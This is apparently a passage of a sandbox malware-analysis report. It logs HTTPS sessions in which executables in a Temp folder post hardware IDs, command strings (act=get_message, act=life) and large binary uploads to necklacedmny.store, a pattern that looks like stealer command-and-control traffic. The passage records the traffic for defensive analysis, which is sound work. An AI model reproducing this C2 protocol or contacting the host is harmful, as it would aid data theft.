)m1%vWzoFD1'J]#tx\|mqWM(Y}BzsrvWp(LHu7J+Fz1Q[)khDL5D~&r;p'hZRP<pYO$thBY6du/[(d#B5[,7A&a}:],E2 8C'LvS
2024-10-31 22:38:55 UTC	1025	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 22:38:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=46tau5cpd9511bjlnrung31too; expires=Mon, 24-Feb-2025 16:25:34 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=bSmo9suUPEjH%2F%2FUUDfcWUTiO%2BO0b4p9qsmSCWU0egeAhfPXzvcVIN9%2FepUOlgVMRi5UVjsrOzAtmJsdvLMv3%2B3oPwarfNQ9N4u90dWbb6c7LMs9n9jd%2BI3mZF2UaUKp%2FignHV5o%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db7235c7f336b28-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1069&sent=10&recv=26&lost=0&retrans=0&sent_bytes=2846&recv_bytes=21528&delivery_rate=2671586&cwnd=251&unsent_bytes=0&cid=73a9f04e76dc4097&ts=616&x=0"
2024-10-31 22:38:55 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 37 0d 0a Data Ascii: 11ok 173.254.250.77
2024-10-31 22:38:55 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.4	50112	188.114.97.3	443	7100	C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 22:38:55 UTC	283	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1373 Host: necklacedmny.store
2024-10-31 22:38:55 UTC	1373	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 31 42 33 43 45 32 34 42 41 31 34 39 42 43 32 32 44 38 44 44 45 46 33 44 46 36 31 45 46 44 38 34 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"1B3CE24BA149BC22D8DDEF3DF61EFD84--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-31 22:38:56 UTC	1011	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 22:38:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=64iefe3hniajvk9g7tdcvhj7si; expires=Mon, 24-Feb-2025 16:25:35 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=yQn2aXUKtXx2cfOwMWLoywA8Qv1AO7dzndfsb%2FlMNqhtDE1TE%2FqxLlbV1OMEj4UQatCZ1N9umZpacPy8wyNM6D7yGAPLG6jZsCs9FCbl8N1Hj3VYt0gijdxPzSQ2wmDpM1V7MH0%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db7235ee83dddb1-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1286&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2846&recv_bytes=2292&delivery_rate=2075985&cwnd=83&unsent_bytes=0&cid=cc56e635879ab0d5&ts=486&x=0"
2024-10-31 22:38:56 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 37 0d 0a Data Ascii: 11ok 173.254.250.77
2024-10-31 22:38:56 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.4	50117	188.114.97.3	443	6424	C:\Users\user\AppData\Local\Temp\1003024001\ef2e7274a0.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 22:38:56 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 87 Host: necklacedmny.store
2024-10-31 22:38:56 UTC	87	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d 26 68 77 69 64 3d 31 42 33 43 45 32 34 42 41 31 34 39 42 43 32 32 44 38 44 44 45 46 33 44 46 36 31 45 46 44 38 34 Data Ascii: act=get_message&ver=4.0&lid=4SD0y4--legendaryy&j=&hwid=1B3CE24BA149BC22D8DDEF3DF61EFD84
2024-10-31 22:38:57 UTC	1009	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 22:38:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=v72lr92f19bg8o6a9o1i25jm13; expires=Mon, 24-Feb-2025 16:25:36 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=R4lkZdh6vJiGzJyruWvFf6JF%2Fo2NDSIzFTcHJA8C4bG6El9kDMH7gdGRVNaBP7r7mLWT2LrJgKIP1v6zsrE0yC6CFhf67yfb5LDLAmcLz0C52svo8j43VE4PJmTXhS2n7ZkmAoI%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db7236478580be8-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1559&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2845&recv_bytes=989&delivery_rate=1761557&cwnd=251&unsent_bytes=0&cid=8e425523fe1385ec&ts=705&x=0"
2024-10-31 22:38:57 UTC	214	IN	Data Raw: 64 30 0d 0a 43 51 56 6a 4d 43 6e 52 30 34 51 2b 69 74 37 71 6b 6c 4f 4d 68 43 72 33 6b 69 59 7a 6f 6c 38 2b 66 56 45 67 37 47 53 71 32 52 52 53 66 6b 46 46 43 2b 76 78 37 45 72 2b 72 74 44 4f 66 4e 43 72 47 38 2b 6e 43 41 47 54 61 68 42 4d 59 42 50 43 56 5a 79 46 4f 32 5a 6a 42 57 77 47 74 62 62 69 45 4f 2b 6d 6a 37 42 2f 72 75 4a 65 31 61 67 57 48 34 41 36 48 45 64 68 58 63 41 66 69 4b 77 32 4d 79 63 4c 52 46 32 68 36 64 67 52 31 76 48 62 71 6d 61 69 74 68 76 43 76 42 63 43 6b 58 45 50 53 77 30 50 67 51 33 45 76 45 67 6d 64 77 4a 65 54 62 36 2b 71 6c 76 79 75 38 69 2b 63 65 72 77 43 4d 32 69 43 68 48 48 66 51 52 4e 4c 48 30 3d 0d 0a Data Ascii: d0CQVjMCnR04Q+it7qklOMhCr3kiYzol8+fVEg7GSq2RRSfkFFC+vx7Er+rtDOfNCrG8+nCAGTahBMYBPCVZyFO2ZjBWwGtbbiEO+mj7B/ruJe1agWH4A6HEdhXcAfiKw2MycLRF2h6dgR1vHbqmaithvCvBcCkXEPSw0PgQ3EvEgmdwJeTb6+qlvyu8i+cerwCM2iChHHfQRNLH0=
2024-10-31 22:38:57 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.4	50120	188.114.97.3	443	7100	C:\Users\user\AppData\Local\Temp\1003025001\01b01f6224.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 22:38:58 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 47934 Host: necklacedmny.store
2024-10-31 22:38:58 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 31 42 33 43 45 32 34 42 41 31 34 39 42 43 32 32 44 38 44 44 45 46 33 44 46 36 31 45 46 44 38 34 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"1B3CE24BA149BC22D8DDEF3DF61EFD84--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-31 22:38:58 UTC	15331	OUT	Data Raw: 7a 80 d5 39 8d 37 2e 9a c0 c5 9d d0 a1 36 d0 57 80 2d c3 8f fd 28 0b 3e da cd 5f 38 8f 00 bb a5 9a eb 5f f7 84 ec 7e 7d 28 cd 76 6a f7 ef 51 ed ff bc 2d 8e 0c a6 e8 96 fb b1 1e bb 2e c6 76 4a 1a 5d b5 c7 fd 77 0e 74 e2 1c b0 a7 ed f7 f0 96 c8 d3 ff f5 63 98 fe af 4c 92 ea cc ca 56 04 55 b3 3c 2d 14 8e b5 59 32 59 97 fd 5d c6 70 dc 21 ac 24 9b b5 7e 16 a7 c2 2d 25 9a 1b 7b 77 b3 a3 51 18 65 ee 87 99 99 06 44 29 55 a3 7c 08 9c 6d db 4f dd ad 80 70 e1 0e bc 05 56 4b 82 b1 9f ff 61 2d c6 82 65 c3 f4 9f 8a b6 a5 39 86 fb 44 21 e4 21 fd 3d 1c 75 b6 2d 0a cc af 67 7c 9c f7 38 bd 4d f7 5f b2 2a ae 2a a0 87 10 58 49 98 a9 99 ae cb 78 29 62 ea a4 a5 f7 83 fc 6a 70 be 70 14 3e b7 98 9f 35 c9 41 e0 db a5 43 3c b4 ba 19 f4 99 0a 55 ee c5 04 31 e7 08 48 69 66 35 ed b4 Data Ascii: z97.6W-(>_8_~}(vjQ-.vJ]wtcLVU<-Y2Y]p!$~-%{wQeD)U\|mOpVKa-e9D!!=u-g\|8M_**XIx)bjpp>5AC<U1Hif5
2024-10-31 22:38:58 UTC	15331	OUT	Data Raw: 83 65 32 45 e0 58 9e db 58 31 de 97 56 19 48 54 2f 2c 76 1b 0c 39 dd 25 07 9d 12 b5 60 ae ed 05 29 d4 76 8a ae cd f4 d9 ef b1 5a 3a 25 41 ad 97 5a 22 4a c0 45 9f 24 24 a9 98 df 67 01 9a 99 4a 3f 76 17 fe 1b f3 7c 4c a4 b2 7b a0 d0 17 5c 4b 3a 1b 35 60 55 f7 fa f4 30 5f e2 55 53 36 d6 96 f7 36 aa d9 96 33 76 06 54 40 d2 5e 85 84 20 48 74 27 da 38 8b 14 61 e4 60 f8 43 d7 42 c1 29 25 5c 2f bf a2 ba 0b 81 15 0e b9 27 0e 74 3f 01 ea 12 ec 97 a5 81 b0 bf 81 82 88 3e 9a a7 45 10 87 93 7f d6 26 09 52 f2 4b cb 2e 2e 1c f8 12 4f 0e 0a b4 6e 4c 4f ad 34 6a 46 d4 99 f9 c3 aa f4 8d e0 35 3a 74 f4 f8 47 70 f4 f8 47 ac bd 4b ff bc 18 7e 74 d2 c0 c0 51 7d b8 f6 7e e3 7c e8 93 0f 4f 7e bd 38 c1 f6 73 d8 1a f8 b9 5f 3f e4 f7 8b 28 67 3b 21 6c c6 fa cd 7d 97 c9 7e 8b 33 6b Data Ascii: e2EXX1VHT/,v9%`)vZ:%AZ"JE$$gJ?v\|L{\K:5`U0_US663vT@^ Ht'8a`CB)%\/'t?>E&RK..OnLO4jF5:tGpGK~tQ}~\|O~8s_?(g;!l}~3k
2024-10-31 22:38:58 UTC	1941	OUT	Data Raw: 36 f7 1f 09 00 01 ba 41 b3 4f 2f aa 93 d2 33 18 a9 89 f3 a5 e8 eb fb 7e 3b 42 3a 3c be b1 d4 31 21 fb b9 fa 64 b3 8a 0e af ac ae 7e cf 27 34 c5 95 60 eb 16 00 0b ab 82 c3 5e 35 f2 95 17 a1 8a 97 8f e3 61 a9 d0 f7 7c b0 15 1f fa e2 b8 ac 6f c9 31 1a 4e b6 07 ae be e9 18 27 fb 61 c8 ab f9 1e 15 ab 3b 84 cc 62 b6 5f ee 64 24 a6 6d ef c3 54 35 c1 cc c8 b3 cd 85 2f 8a a1 46 39 e9 1e 56 1b b4 d5 9a 4a fe 50 28 e5 6b 30 74 e1 f5 42 00 35 b3 c1 57 ec a4 29 eb ab 2b 51 bd e2 b3 0f ce 1f 2f a2 82 65 28 fa 50 ce ce fa 8c 9e 45 4c 80 51 ef ca f7 36 65 34 09 98 8f 2d 90 98 95 39 80 da 58 67 1a 46 55 3f 9f 31 7b 07 4f d8 b6 c1 e3 3c 9b 28 62 f0 98 27 4e c7 9e e7 54 bc e6 56 2b f7 27 29 b3 d3 d2 5d 62 0f 0c 73 8a 2b 80 e5 3e 35 c7 5f b9 5f 49 bc ac 7f 90 82 5c e0 29 ee Data Ascii: 6AO/3~;B:<1!d~'4`^5a\|o1N'a;b_d$mT5/F9VJP(k0tB5W)+Q/e(PELQ6e4-9XgFU?1{O<(b'NTV+')]bs+>5__I\)
2024-10-31 22:38:58 UTC	1019	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 22:38:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=hostpidk43p14gvl6mi1opshgg; expires=Mon, 24-Feb-2025 16:25:37 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=7sjbKSfyFZ7aid%2BhunKZjWxm3RyhTnbYpsmpbya5VGGoaeZkC315hbWj02HiwBUzJj3Y1G1Xr4SGMiOBYFmPqU7aUy1jQ1ji1zWG0th6LSoj%2FyT9tL9%2BD1v7raHwY6rBV%2F4LuiI%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db7236d6c5ae96e-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1785&sent=20&recv=54&lost=0&retrans=0&sent_bytes=2844&recv_bytes=48986&delivery_rate=1618781&cwnd=245&unsent_bytes=0&cid=2933a59e7fb1b78f&ts=855&x=0"
2024-10-31 22:38:58 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 37 0d 0a Data Ascii: 11ok 173.254.250.77
2024-10-31 22:38:58 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.4	50128	188.114.97.3	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 22:39:03 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: necklacedmny.store
2024-10-31 22:39:03 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-10-31 22:39:03 UTC	1013	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 22:39:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=4ooec36tpvm18ce5s6475f8fi7; expires=Mon, 24-Feb-2025 16:25:42 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=tv7OARCkh0C9NGAZ5ZG2RtqFVGxv2vvMYN0TYPW7YuZFd7lXzMPJGpZCprGBzYGJhX5DsA9FBrXVsl2GGFKWRDrh8%2B4q3TIZt1ejY%2FJKIW66ZJ32PN2kIeSYwn%2FD2QNw3Wm6mdc%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db7238dbc403acd-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1198&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2845&recv_bytes=909&delivery_rate=2358306&cwnd=246&unsent_bytes=0&cid=aaa9c2c53b81a88d&ts=529&x=0"
2024-10-31 22:39:03 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-10-31 22:39:03 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.4	50131	188.114.97.3	443

Timestamp	Bytes transferred	Direction	Data
2024-10-31 22:39:04 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 52 Host: necklacedmny.store
2024-10-31 22:39:04 UTC	52	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=4SD0y4--legendaryy&j=
2024-10-31 22:39:04 UTC	1009	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 22:39:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=1skc9ekduiaelggt0b0gpe2qi9; expires=Mon, 24-Feb-2025 16:25:43 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=xKAuMNkgreaIDtgT4LEwAVIypnCb1AcuKu43Uto0sKvVNaFiohveicreedEUXn9UF7lX54Agjnmtt28ZOLihT2CJRJ1v0jjVXIHUnl8goX8582ik%2BNxriCeZYahrGPM01NzGhiY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db72394ff5aa924-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1287&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2845&recv_bytes=954&delivery_rate=2210687&cwnd=201&unsent_bytes=0&cid=4457b9ff9f84a177&ts=464&x=0"
2024-10-31 22:39:04 UTC	360	IN	Data Raw: 31 64 37 63 0d 0a 77 4d 47 49 42 30 32 38 75 6a 65 44 37 39 5a 52 57 53 35 2b 6a 32 43 66 68 55 58 78 2b 75 5a 30 2f 49 6d 63 53 4f 39 65 4f 64 4b 37 34 2f 34 6c 64 34 69 57 46 66 43 4b 39 47 73 74 58 41 76 71 54 4c 33 6b 49 64 50 41 67 42 57 51 2b 76 6c 6b 7a 53 68 55 38 50 71 6e 36 57 73 2b 32 5a 59 56 35 70 66 30 61 77 4a 56 58 4f 6f 4f 76 62 39 6e 6c 4a 43 45 46 5a 44 72 2f 53 4f 41 4c 6c 57 78 71 4b 33 76 62 79 6a 66 33 6c 62 76 67 72 4d 30 50 45 38 55 34 51 6e 79 37 53 6a 54 31 73 51 52 68 71 75 6d 61 71 49 37 54 62 4f 4e 6f 50 74 73 62 38 47 57 54 4b 47 4b 75 48 4e 6a 44 42 2f 71 41 76 50 6a 49 5a 71 53 6a 68 79 59 36 76 67 69 6e 7a 64 66 75 71 69 6a 37 47 34 69 31 73 70 62 35 59 57 34 4d 6a 5a 50 58 4b 4e 43 2b 76 39 6e 79 39 6a 58 4a 4a 33 36 37 Data Ascii: 1d7cwMGIB028ujeD79ZRWS5+j2CfhUXx+uZ0/ImcSO9eOdK74/4ld4iWFfCK9GstXAvqTL3kIdPAgBWQ+vlkzShU8Pqn6Ws+2ZYV5pf0awJVXOoOvb9nlJCEFZDr/SOALlWxqK3vbyjf3lbvgrM0PE8U4Qny7SjT1sQRhqumaqI7TbONoPtsb8GWTKGKuHNjDB/qAvPjIZqSjhyY6vginzdfuqij7G4i1spb5YW4MjZPXKNC+v9ny9jXJJ367
2024-10-31 22:39:04 UTC	1369	IN	Data Raw: 61 2f 4e 69 6c 48 46 65 41 50 2f 65 6f 74 6e 4a 75 45 45 5a 54 68 38 53 43 4a 4d 56 61 32 6f 71 4f 71 4b 32 2f 5a 77 42 57 35 7a 5a 63 32 4b 30 73 51 2b 30 44 48 70 7a 6a 64 67 63 51 52 6b 71 75 6d 61 6f 55 35 57 4c 4f 70 72 4f 6c 74 4a 4d 7a 59 52 2b 65 41 73 53 45 39 53 52 4c 6e 41 65 2f 74 4b 5a 57 62 6a 52 32 58 37 76 6b 75 7a 58 49 62 74 37 72 6a 73 69 55 4f 30 39 4e 5a 36 35 71 30 63 79 51 43 42 61 30 46 38 61 64 2f 30 35 79 46 45 70 2f 76 38 43 53 4a 4d 46 32 2b 72 36 7a 73 62 79 2f 5a 30 6c 33 70 6a 4c 6b 34 4e 45 77 5a 34 41 62 37 36 79 61 57 32 4d 70 57 6d 66 4f 2b 63 73 30 53 58 4c 4f 77 34 64 39 6d 49 64 44 66 51 36 47 53 2b 69 70 37 53 78 43 74 57 72 33 70 49 70 79 4b 68 51 53 62 35 65 77 6d 69 44 70 57 73 36 79 6a 37 32 49 69 30 4e 35 53 34 Data Ascii: a/NilHFeAP/eotnJuEEZTh8SCJMVa2oqOqK2/ZwBW5zZc2K0sQ+0DHpzjdgcQRkqumaoU5WLOprOltJMzYR+eAsSE9SRLnAe/tKZWbjR2X7vkuzXIbt7rjsiUO09NZ65q0cyQCBa0F8ad/05yFEp/v8CSJMF2+r6zsby/Z0l3pjLk4NEwZ4Ab76yaW2MpWmfO+cs0SXLOw4d9mIdDfQ6GS+ip7SxCtWr3pIpyKhQSb5ewmiDpWs6yj72Ii0N5S4
2024-10-31 22:39:04 UTC	1369	IN	Data Raw: 37 53 78 43 74 57 72 33 72 4c 70 4f 54 6a 68 4b 65 37 50 4d 76 6a 6a 74 59 76 61 57 70 35 47 49 72 30 74 46 59 35 34 32 7a 4e 7a 35 65 47 65 51 4f 38 61 64 70 30 35 2b 63 56 73 61 72 30 53 32 62 50 33 53 7a 73 36 71 71 65 6d 48 48 6d 46 4c 74 7a 65 78 7a 50 45 6b 55 35 67 54 31 35 7a 57 57 6c 6f 38 58 6c 4f 33 2f 4a 34 45 36 57 37 47 69 70 65 5a 6c 4b 4e 6e 4b 52 2b 53 4c 70 6a 6c 37 41 6c 7a 71 47 72 32 2f 5a 36 57 49 6b 77 65 49 71 63 73 70 67 7a 4a 63 70 75 4b 38 70 48 78 76 32 64 51 56 75 63 32 2f 4d 7a 64 4c 46 4f 73 47 39 65 67 6f 6d 6f 71 46 47 70 44 35 2b 53 71 45 4d 6c 53 38 71 36 37 74 61 43 54 55 31 56 48 6d 6a 50 52 39 65 30 73 45 72 56 71 39 30 54 65 65 6c 4b 6f 64 6b 75 4b 2b 4e 63 4d 6c 47 37 65 75 34 37 49 6c 4b 39 4c 51 58 2b 36 45 76 6a Data Ascii: 7SxCtWr3rLpOTjhKe7PMvjjtYvaWp5GIr0tFY542zNz5eGeQO8adp05+cVsar0S2bP3Szs6qqemHHmFLtzexzPEkU5gT15zWWlo8XlO3/J4E6W7GipeZlKNnKR+SLpjl7AlzqGr2/Z6WIkweIqcspgzJcpuK8pHxv2dQVuc2/MzdLFOsG9egomoqFGpD5+SqEMlS8q67taCTU1VHmjPR9e0sErVq90TeelKodkuK+NcMlG7eu47IlK9LQX+6Evj
2024-10-31 22:39:04 UTC	1369	IN	Data Raw: 36 77 32 39 71 57 65 55 67 4d 52 4f 33 73 54 5a 48 38 38 64 59 66 43 39 37 66 4d 6c 4b 4e 4b 59 44 61 47 42 74 7a 38 7a 51 78 72 6b 44 76 66 75 4c 4a 2b 54 67 42 71 58 37 76 67 72 69 44 6c 61 74 4b 36 70 37 47 59 73 30 64 64 61 36 63 33 36 63 7a 78 55 58 4c 56 43 32 50 41 73 6e 5a 37 45 43 64 44 79 76 69 32 42 66 41 50 77 72 71 72 73 59 79 72 53 32 56 50 70 69 4c 77 33 4f 6b 6f 61 37 67 33 35 34 69 61 63 6e 49 67 59 6c 4f 72 2f 4a 6f 59 7a 55 4c 58 69 37 61 70 69 4e 35 36 41 46 64 43 4f 6f 69 51 72 51 46 7a 79 54 4f 53 6e 49 4a 2f 59 33 46 61 66 2b 66 51 67 67 7a 6c 55 74 61 47 73 37 57 67 70 30 74 4a 63 36 59 75 37 4f 69 6c 50 45 4f 4d 46 38 2b 73 70 6e 70 4b 48 47 39 36 6c 76 69 32 56 66 41 50 77 6a 71 54 6e 53 79 54 53 33 78 58 2b 77 36 31 7a 50 45 42 Data Ascii: 6w29qWeUgMRO3sTZH88dYfC97fMlKNKYDaGBtz8zQxrkDvfuLJ+TgBqX7vgriDlatK6p7GYs0dda6c36czxUXLVC2PAsnZ7ECdDyvi2BfAPwrqrsYyrS2VPpiLw3Okoa7g354iacnIgYlOr/JoYzULXi7apiN56AFdCOoiQrQFzyTOSnIJ/Y3Faf+fQggzlUtaGs7Wgp0tJc6Yu7OilPEOMF8+spnpKHG96lvi2VfAPwjqTnSyTS3xX+w61zPEB
